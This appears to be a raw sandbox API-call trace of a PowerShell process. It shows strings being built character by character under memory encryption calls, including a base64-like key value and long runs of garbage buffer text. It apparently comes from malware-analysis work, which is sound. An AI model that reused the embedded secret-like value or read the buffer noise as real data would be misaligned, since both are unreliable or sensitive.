[0246.744] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴䥢ꐧ⡻蚒䕀睚롅尮") returned 0x10 [0246.744] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴䥢ꐧ⡻蚒䕀睚롅尮") returned 0x10 [0246.744] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.744] SysStringLen (param_1="8h154bWr2S+Sj吱ᔏ贏") returned 0x10 [0246.745] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.745] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴鿖㽗ℊ䚆欇斥퀠눺") returned 0x10 [0246.745] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴鿖㽗ℊ䚆欇斥퀠눺") returned 0x10 [0246.745] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.745] SysStringLen (param_1="8h154bWr2S+Sj/ᔏ贏") returned 0x10 [0246.745] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.745] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴현IJ쇐ฉ밴⚧汥䡆") returned 0x10 [0246.745] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴현IJ쇐ฉ밴⚧汥䡆") returned 0x10 [0246.745] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.745] SysStringLen (param_1="8h154bWr2S+Sj/H贏") returned 0x10 [0246.746] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.746] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴㛦鍏ໜ᛿⢲憵ő⟳") returned 0x10 [0246.746] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴㛦鍏ໜ᛿⢲憵ő⟳") returned 0x10 [0246.746] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.746] SysStringLen (param_1="8h154bWr2S+Sj/Hy") returned 0x10 [0246.746] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0246.746] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴飰셫⡠댆髝躈⎜ꆼ") returned 0x10 [0246.747] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴飰셫⡠댆髝躈⎜ꆼ") returned 0x10 [0246.747] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴飰셫⡠댆髝躈⎜ꆼ") returned 0x10 [0246.747] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴飰셫⡠댆髝躈⎜ꆼ") returned 0x18 [0246.747] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.747] SysStringLen (param_1="8h154bWr2S+Sj/HyV茶弉ৈᄲ㣷僯沇") returned 0x18 [0246.747] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.748] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴飰셫⡠댆髝躈⎜ꆼ蕲멓氵ᱝ駞상脁") returned 0x18 [0246.748] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴飰셫⡠댆髝躈⎜ꆼ蕲멓氵ᱝ駞상脁") returned 0x18 [0246.748] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.748] SysStringLen (param_1="8h154bWr2S+Sj/HyVA弉ৈᄲ㣷僯沇") returned 0x18 [0246.748] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.748] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴飰셫⡠댆髝躈⎜ꆼ紻꾞᧣才㤒夰") returned 0x18 [0246.748] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴飰셫⡠댆髝躈⎜ꆼ紻꾞᧣才㤒夰") returned 0x18 [0246.748] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.748] SysStringLen (param_1="8h154bWr2S+Sj/HyVAvৈᄲ㣷僯沇") returned 0x18 [0246.748] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.749] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴飰셫⡠댆髝躈⎜ꆼ㉦얚ﲢ⃳⍐璘\⋛) returned 0x18 [0246.749] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴飰셫⡠댆髝躈⎜ꆼ㉦얚ﲢ⃳⍐璘\⋛) returned 0x18 [0246.749] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.749] SysStringLen (param_1="8h154bWr2S+Sj/HyVAvcᄲ㣷僯沇") returned 0x18 [0246.749] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.749] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴飰셫⡠댆髝躈⎜ꆼ곑꫇ꔥ⼃㣄\珞兦≶) returned 0x18 [0246.749] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴飰셫⡠댆髝躈⎜ꆼ곑꫇ꔥ⼃㣄\珞兦≶) returned 0x18 [0246.749] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.749] SysStringLen (param_1="8h154bWr2S+Sj/HyVAvcS㣷僯沇") returned 0x18 [0246.749] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.750] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴飰셫⡠댆髝躈⎜ꆼ\糟汁顪㳇ꮲ\懘⡓") returned 0x18 [0246.750] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴飰셫⡠댆髝躈⎜ꆼ\糟汁顪㳇ꮲ\懘⡓") returned 0x18 [0246.750] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.750] SysStringLen (param_1="8h154bWr2S+Sj/HyVAvcSQ僯沇") returned 0x18 [0246.750] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.750] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴飰셫⡠댆髝躈⎜ꆼ딶釈啙闧邁陓麰䀮") returned 0x18 [0246.750] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴飰셫⡠댆髝躈⎜ꆼ딶釈啙闧邁陓麰䀮") returned 0x18 [0246.752] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.752] SysStringLen (param_1="8h154bWr2S+Sj/HyVAvcSQL沇") returned 0x18 [0246.752] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.752] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴飰셫⡠댆髝躈⎜ꆼ蝊쫴禤瓌䩐㰅㰝뚐") returned 0x18 [0246.752] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴飰셫⡠댆髝躈⎜ꆼ蝊쫴禤瓌䩐㰅㰝뚐") returned 0x18 [0246.752] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.752] SysStringLen (param_1="8h154bWr2S+Sj/HyVAvcSQL6") returned 0x18 [0246.752] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0246.753] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴飰셫⡠댆髝躈⎜ꆼ寧禃ퟠᄎ襂歴㙝") returned 0x18 [0246.753] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴飰셫⡠댆髝躈⎜ꆼ寧禃ퟠᄎ襂歴㙝") returned 0x18 [0246.753] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴飰셫⡠댆髝躈⎜ꆼ寧禃ퟠᄎ襂歴㙝") returned 0x18 [0246.754] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴飰셫⡠댆髝躈⎜ꆼ寧禃ퟠᄎ襂歴㙝") returned 0x20 [0246.754] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.754] SysStringLen (param_1="8h154bWr2S+Sj/HyVAvcSQL6L䄖ꂉꯀʭ䘡᠇ﭦ") returned 0x20 [0246.754] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.754] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴飰셫⡠댆髝躈⎜ꆼ寧禃ퟠᄎ襂歴㙝쪏لפּ勰戏辜炲⏞") returned 0x20 [0246.754] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴飰셫⡠댆髝躈⎜ꆼ寧禃ퟠᄎ襂歴㙝쪏لפּ勰戏辜炲⏞") returned 0x20 [0246.754] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.754] SysStringLen (param_1="8h154bWr2S+Sj/HyVAvcSQL6Liꂉꯀʭ䘡᠇ﭦ") returned 0x20 [0246.754] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.754] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴飰셫⡠댆髝躈⎜ꆼ寧禃ퟠᄎ襂歴㙝䖸ᒪ湊賂ⶱ䄂ﴠ") returned 0x20 [0246.754] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴飰셫⡠댆髝躈⎜ꆼ寧禃ퟠᄎ襂歴㙝䖸ᒪ湊賂ⶱ䄂ﴠ") returned 0x20 [0246.755] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.755] SysStringLen (param_1="8h154bWr2S+Sj/HyVAvcSQL6LiAꯀʭ䘡᠇ﭦ") returned 0x20 [0246.755] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.755] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴飰셫⡠댆髝躈⎜ꆼ寧禃ퟠᄎ襂歴㙝ꉛྗဲ枢鹃创銃傹") returned 0x20 [0246.755] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴飰셫⡠댆髝躈⎜ꆼ寧禃ퟠᄎ襂歴㙝ꉛྗဲ枢鹃创銃傹") returned 0x20 [0246.755] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.755] SysStringLen (param_1="8h154bWr2S+Sj/HyVAvcSQL6LiAHʭ䘡᠇ﭦ") returned 0x20 [0246.755] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.755] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴飰셫⡠댆髝躈⎜ꆼ寧禃ퟠᄎ襂歴㙝婲孼ｺ촧彈鵻鎰㯂") returned 0x20 [0246.755] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴飰셫⡠댆髝躈⎜ꆼ寧禃ퟠᄎ襂歴㙝婲孼ｺ촧彈鵻鎰㯂") returned 0x20 [0246.755] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.756] SysStringLen (param_1="8h154bWr2S+Sj/HyVAvcSQL6LiAHA䘡᠇ﭦ") returned 0x20 [0246.756] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.756] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴飰셫⡠댆髝躈⎜ꆼ寧禃ퟠᄎ襂歴㙝犇۷䥩皱꺻䄕䮇") returned 0x20 [0246.756] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴飰셫⡠댆髝躈⎜ꆼ寧禃ퟠᄎ襂歴㙝犇۷䥩皱꺻䄕䮇") returned 0x20 [0246.756] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.756] SysStringLen (param_1="8h154bWr2S+Sj/HyVAvcSQL6LiAHAt᠇ﭦ") returned 0x20 [0246.756] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.756] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴飰셫⡠댆髝躈⎜ꆼ寧禃ퟠᄎ襂歴㙝︑㩇璚崢\꣙熊エ≥) returned 0x20 [0246.756] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴飰셫⡠댆髝躈⎜ꆼ寧禃ퟠᄎ襂歴㙝︑㩇璚崢\꣙熊エ≥) returned 0x20 [0246.756] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.757] SysStringLen (param_1="8h154bWr2S+Sj/HyVAvcSQL6LiAHAt+ﭦ") returned 0x20 [0246.757] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.757] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴飰셫⡠댆髝躈⎜ꆼ寧禃ퟠᄎ襂歴㙝㫣譔铌䡨醽ꇂ竉ޡ") returned 0x20 [0246.757] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴飰셫⡠댆髝躈⎜ꆼ寧禃ퟠᄎ襂歴㙝㫣譔铌䡨醽ꇂ竉ޡ") returned 0x20 [0246.757] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.757] SysStringLen (param_1="8h154bWr2S+Sj/HyVAvcSQL6LiAHAt+W") returned 0x20 [0246.757] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0246.757] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴飰셫⡠댆髝躈⎜ꆼ寧禃ퟠᄎ襂歴㙝꒡蟮忤耐檞螧綟") returned 0x20 [0246.758] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴飰셫⡠댆髝躈⎜ꆼ寧禃ퟠᄎ襂歴㙝꒡蟮忤耐檞螧綟") returned 0x20 [0246.758] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴飰셫⡠댆髝躈⎜ꆼ寧禃ퟠᄎ襂歴㙝꒡蟮忤耐檞螧綟") returned 0x20 [0246.758] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴飰셫⡠댆髝躈⎜ꆼ寧禃ퟠᄎ襂歴㙝꒡蟮忤耐檞螧綟") returned 0x28 [0246.758] SystemFunction041 (in: Memory=0x3af024, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af024) returned 0x0 [0246.758] SysStringLen (param_1="8h154bWr2S+Sj/HyVAvcSQL6LiAHAt+W6\蟞⫰￥퓜ꓴ⊰) returned 0x28 [0246.758] SystemFunction040 (in: Memory=0x3af024, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af024) returned 0x0 [0246.759] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴飰셫⡠댆髝躈⎜ꆼ寧禃ퟠᄎ襂歴㙝꒡蟮忤耐檞螧綟뢿䊬ჱ細矔욺鏗") returned 0x28 [0246.759] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴飰셫⡠댆髝躈⎜ꆼ寧禃ퟠᄎ襂歴㙝꒡蟮忤耐檞螧綟뢿䊬ჱ細矔욺鏗") returned 0x28 [0246.759] SystemFunction041 (in: Memory=0x3af024, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af024) returned 0x0 [0246.759] SysStringLen (param_1="8h154bWr2S+Sj/HyVAvcSQL6LiAHAt+W6R௿\퓜ꓴ⊰) returned 0x28 [0246.759] SystemFunction040 (in: Memory=0x3af024, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af024) returned 0x0 [0246.759] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴飰셫⡠댆髝躈⎜ꆼ寧禃ퟠᄎ襂歴㙝꒡蟮忤耐檞螧綟儹囗悓࡝ↀ뾩侠ᨣ") returned 0x28 [0246.759] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴飰셫⡠댆髝躈⎜ꆼ寧禃ퟠᄎ襂歴㙝꒡蟮忤耐檞螧綟儹囗悓࡝ↀ뾩侠ᨣ") returned 0x28 [0246.759] SystemFunction041 (in: Memory=0x3af024, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af024) returned 0x0 [0246.759] SysStringLen (param_1="8h154bWr2S+Sj/HyVAvcSQL6LiAHAt+W6Rg௿\퓜ꓴ⊰) returned 0x28 [0246.759] SystemFunction040 (in: Memory=0x3af024, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af024) returned 0x0 [0246.760] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴飰셫⡠댆髝躈⎜ꆼ寧禃ퟠᄎ襂歴㙝꒡蟮忤耐檞螧綟殯妎ｇ뛃飷蛢☮") returned 0x28 [0246.760] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴飰셫⡠댆髝躈⎜ꆼ寧禃ퟠᄎ襂歴㙝꒡蟮忤耐檞螧綟殯妎ｇ뛃飷蛢☮") returned 0x28 [0246.760] SystemFunction041 (in: Memory=0x3af024, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af024) returned 0x0 [0246.760] SysStringLen (param_1="8h154bWr2S+Sj/HyVAvcSQL6LiAHAt+W6Rgq௿\퓜ꓴ⊰) returned 0x28 [0246.760] SystemFunction040 (in: Memory=0x3af024, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af024) returned 0x0 [0246.760] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴飰셫⡠댆髝躈⎜ꆼ寧禃ퟠᄎ襂歴㙝꒡蟮忤耐檞螧綟艠뮜寠䘲晓얬耨") returned 0x28 [0246.760] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴飰셫⡠댆髝躈⎜ꆼ寧禃ퟠᄎ襂歴㙝꒡蟮忤耐檞螧綟艠뮜寠䘲晓얬耨") returned 0x28 [0246.760] SystemFunction041 (in: Memory=0x3af024, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af024) returned 0x0 [0246.760] SysStringLen (param_1="8h154bWr2S+Sj/HyVAvcSQL6LiAHAt+W6Rgq1\퓜ꓴ⊰) returned 0x28 [0246.760] SystemFunction040 (in: Memory=0x3af024, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af024) returned 0x0 [0246.761] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴飰셫⡠댆髝躈⎜ꆼ寧禃ퟠᄎ襂歴㙝꒡蟮忤耐檞螧綟垵㾓⮅鉑⍃⍃") returned 0x28 [0246.761] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴飰셫⡠댆髝躈⎜ꆼ寧禃ퟠᄎ襂歴㙝꒡蟮忤耐檞螧綟垵㾓⮅鉑⍃⍃") returned 0x28 [0246.761] SystemFunction041 (in: Memory=0x3af024, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af024) returned 0x0 [0246.761] SysStringLen (param_1="8h154bWr2S+Sj/HyVAvcSQL6LiAHAt+W6Rgq17낤") returned 0x28 [0246.761] SystemFunction040 (in: Memory=0x3af024, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af024) returned 0x0 [0246.761] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴飰셫⡠댆髝躈⎜ꆼ寧禃ퟠᄎ襂歴㙝꒡蟮忤耐檞螧綟\㋙妥㿕皭⺅䂿⋨) returned 0x28 [0246.761] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴飰셫⡠댆髝躈⎜ꆼ寧禃ퟠᄎ襂歴㙝꒡蟮忤耐檞螧綟\㋙妥㿕皭⺅䂿⋨) returned 0x28 [0246.761] SystemFunction041 (in: Memory=0x3af024, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af024) returned 0x0 [0246.761] SysStringLen (param_1="8h154bWr2S+Sj/HyVAvcSQL6LiAHAt+W6Rgq17m낤") returned 0x28 [0246.761] SystemFunction040 (in: Memory=0x3af024, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af024) returned 0x0 [0246.762] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴飰셫⡠댆髝躈⎜ꆼ寧禃ퟠᄎ襂歴㙝꒡蟮忤耐檞螧綟Թ窞怍ㅇ㬎㏜䱌넱") returned 0x28 [0246.762] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴飰셫⡠댆髝躈⎜ꆼ寧禃ퟠᄎ襂歴㙝꒡蟮忤耐檞螧綟Թ窞怍ㅇ㬎㏜䱌넱") returned 0x28 [0246.762] SystemFunction041 (in: Memory=0x3af024, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af024) returned 0x0 [0246.762] SysStringLen (param_1="8h154bWr2S+Sj/HyVAvcSQL6LiAHAt+W6Rgq17mI") returned 0x28 [0246.762] SystemFunction040 (in: Memory=0x3af024, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af024) returned 0x0 [0246.762] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴飰셫⡠댆髝躈⎜ꆼ寧禃ퟠᄎ襂歴㙝꒡蟮忤耐檞螧綟䘭윆읲镾뒐ዥ為") returned 0x28 [0246.762] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴飰셫⡠댆髝躈⎜ꆼ寧禃ퟠᄎ襂歴㙝꒡蟮忤耐檞螧綟䘭윆읲镾뒐ዥ為") returned 0x28 [0246.762] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴飰셫⡠댆髝躈⎜ꆼ寧禃ퟠᄎ襂歴㙝꒡蟮忤耐檞螧綟䘭윆읲镾뒐ዥ為") returned 0x28 [0246.763] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴飰셫⡠댆髝躈⎜ꆼ寧禃ퟠᄎ襂歴㙝꒡蟮忤耐檞螧綟䘭윆읲镾뒐ዥ為") returned 0x30 [0246.763] SystemFunction041 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0246.763] SysStringLen (param_1="8h154bWr2S+Sj/HyVAvcSQL6LiAHAt+W6Rgq17mIkﾓ뀛⾰㽿꒚ω⠢") returned 0x30 [0246.763] SystemFunction040 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0246.763] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴飰셫⡠댆髝躈⎜ꆼ寧禃ퟠᄎ襂歴㙝꒡蟮忤耐檞螧綟䘭윆읲镾뒐ዥ為腈뼗禛꬝ꄃ䅥濼") returned 0x30 [0246.763] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴飰셫⡠댆髝躈⎜ꆼ寧禃ퟠᄎ襂歴㙝꒡蟮忤耐檞螧綟䘭윆읲镾뒐ዥ為腈뼗禛꬝ꄃ䅥濼") returned 0x30 [0246.763] SystemFunction041 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0246.763] SysStringLen (param_1="8h154bWr2S+Sj/HyVAvcSQL6LiAHAt+W6Rgq17mIkX뀛⾰㽿꒚ω⠢") returned 0x30 [0246.764] SystemFunction040 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0246.764] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴飰셫⡠댆髝躈⎜ꆼ寧禃ퟠᄎ襂歴㙝꒡蟮忤耐檞螧綟䘭윆읲镾뒐ዥ為章碲鬯᰸㸋죂섆র") returned 0x30 [0246.764] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴飰셫⡠댆髝躈⎜ꆼ寧禃ퟠᄎ襂歴㙝꒡蟮忤耐檞螧綟䘭윆읲镾뒐ዥ為章碲鬯᰸㸋죂섆র") returned 0x30 [0246.764] SystemFunction041 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0246.764] SysStringLen (param_1="8h154bWr2S+Sj/HyVAvcSQL6LiAHAt+W6Rgq17mIkXE⾰㽿꒚ω⠢") returned 0x30 [0246.764] SystemFunction040 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0246.764] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴飰셫⡠댆髝躈⎜ꆼ寧禃ퟠᄎ襂歴㙝꒡蟮忤耐檞螧綟䘭윆읲镾뒐ዥ為༄际支ꭏ㌽") returned 0x30 [0246.764] SysStringLen (param_1="ᦒ蘣啁霩恘晼䀴飰셫⡠댆髝躈⎜ꆼ寧禃ퟠᄎ襂歴㙝꒡蟮忤耐檞螧綟䘭윆읲镾뒐ዥ為༄际支ꭏ㌽") returned 0x30 [0246.764] SystemFunction041 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0246.764] SysStringLen (param_1="8h154bWr2S+Sj/HyVAvcSQL6LiAHAt+W6Rgq17mIkXE=㽿꒚ω⠢") returned 0x30 [0246.764] SystemFunction040 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0246.765] EtwEventActivityIdControl () returned 0x0 [0246.765] EtwEventActivityIdControl () returned 0x0 [0246.765] EtwEventActivityIdControl () returned 0x0 [0246.765] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0246.766] EtwEventActivityIdControl () returned 0x0 [0246.766] EtwEventActivityIdControl () returned 0x0 [0246.766] EtwEventActivityIdControl () returned 0x0 [0246.767] SysStringLen (param_1="") returned 0x8 [0246.767] SysStringLen (param_1="N") returned 0x8 [0246.767] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.767] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0246.767] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0246.767] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.768] SysStringLen (param_1="ND") returned 0x8 [0246.768] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.768] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0246.768] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0246.768] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.768] SysStringLen (param_1="NDZ") returned 0x8 [0246.768] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.768] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0246.768] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0246.768] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.768] SysStringLen (param_1="NDZl") returned 0x8 [0246.769] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.769] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0246.769] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0246.769] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0246.769] SysStringLen (param_1="NDZlO") 